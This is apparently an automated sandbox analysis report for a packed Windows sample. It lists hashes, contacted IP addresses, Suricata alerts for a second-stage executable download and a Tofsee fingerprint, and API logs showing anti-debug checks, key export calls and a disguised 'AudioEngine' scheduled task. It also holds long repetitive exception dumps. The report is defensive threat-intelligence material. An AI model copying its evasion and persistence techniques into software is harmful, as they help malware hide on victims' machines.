Summary | ZeroBOX

ZZZZZ.exe

Generic Malware Themida Malicious Packer PE64 PE File OS Processor Check PE32 .NET EXE
Category Machine Started Completed
FILE s1_win7_x6402 Sept. 19, 2021, 11:24 a.m. Sept. 19, 2021, 11:26 a.m.
Size 3.6MB
Type PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5 2d42f56f58a4c19df022913160949c76
SHA256 cb1bfed9b946adbcb897876432268c9bc453b4b489a6df99f5812d5f71b95ea7
CRC32 78D85F19
ssdeep 98304:SFLzm8VI6LrLrF9XafiFlHP15bB3PoNLmiVN4:yzdPZPzbRPo5miV
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

IP Address Status Action
164.124.101.2 Active Moloch
176.31.32.198 Active Moloch
34.117.59.81 Active Moloch
50.16.239.65 Active Moloch
62.109.1.30 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49171 -> 176.31.32.198:80 2016141 ET INFO Executable Download from dotted-quad Host A Network Trojan was detected
TCP 176.31.32.198:80 -> 192.168.56.102:49171 2014819 ET INFO Packed Executable Download Misc activity
TCP 176.31.32.198:80 -> 192.168.56.102:49171 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 176.31.32.198:80 -> 192.168.56.102:49171 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 176.31.32.198:80 -> 192.168.56.102:49171 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.102:49174 -> 34.117.59.81:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.102:49174 -> 34.117.59.81:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 34.117.59.81:443 -> 192.168.56.102:49174 2025330 ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io) Device Retrieving External IP Address Detected
TCP 192.168.56.102:49175 -> 50.16.239.65:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49174
34.117.59.81:443
C=US, O=Google Trust Services LLC, CN=GTS CA 1D4 CN=ipinfo.io 9b:8a:7e:73:93:70:47:e8:1f:ef:b1:b9:f4:52:8b:2f:90:2c:85:2e
TLSv1
192.168.56.102:49175
50.16.239.65:443
C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA CN=*.ipify.org 6f:de:ae:2b:9f:c6:cd:5b:7f:5c:d0:69:fa:c8:8b:62:19:fd:56:ad

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: SUCCESS: The scheduled task "AudioEngine" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

buffer: SUCCESS: The scheduled task "AudioEngine" has successfully been created.
console_handle: 0x0000000000000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000284c10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000284ba0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000284ba0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001afa96d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001afa99e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001afedc50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001afedb00
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f1880
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f1880
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f1880
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f23e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001a7a6d80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001a7a6df0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001a7a7170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001a7a7330
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001a7a7790
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f23e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001bde35d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001a839780
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001beaab70
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
0x7fe91d25658
0x7fe91de05d9
0x7fe91cf443d
mscorlib+0x4ef8a5 @ 0x7fef019f8a5
mscorlib+0x4ef609 @ 0x7fef019f609
mscorlib+0x4ef5c7 @ 0x7fef019f5c7
mscorlib+0x502d21 @ 0x7fef01b2d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef135f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef135f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef135f30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef1526291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef1406d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef1406d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef1406c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef1406dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef1526175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef14966ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7721652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x7792c521

exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 48 8d 05
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe91d25658
registers.r14: 0
registers.r15: 0
registers.rcx: 0
registers.rsi: 0
registers.r10: 8789949783048
registers.rbx: 0
registers.rsp: 487258832
registers.r11: 487252128
registers.r8: 41668040
registers.r9: 8791532923024
registers.rdx: 41668040
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
1 0 0

__exception__

stacktrace:
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefde3a49d
NvOptimusEnablementCuda+0x48f6be videorecoderdrivemaster+0xbef5f6 @ 0x14062f5f6
NvOptimusEnablementCuda+0x56c27f videorecoderdrivemaster+0xccc1b7 @ 0x14070c1b7
HeapWalk-0x1ce0 kernel32+0x0 @ 0x77200000
0x118fa48
0x118fa48
0x118fa48
NvOptimusEnablementCuda+0x1616c0 videorecoderdrivemaster+0x8c15f8 @ 0x1403015f8
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x7792c521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0xc000008e
exception.offset: 42141
exception.address: 0x7fefde3a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
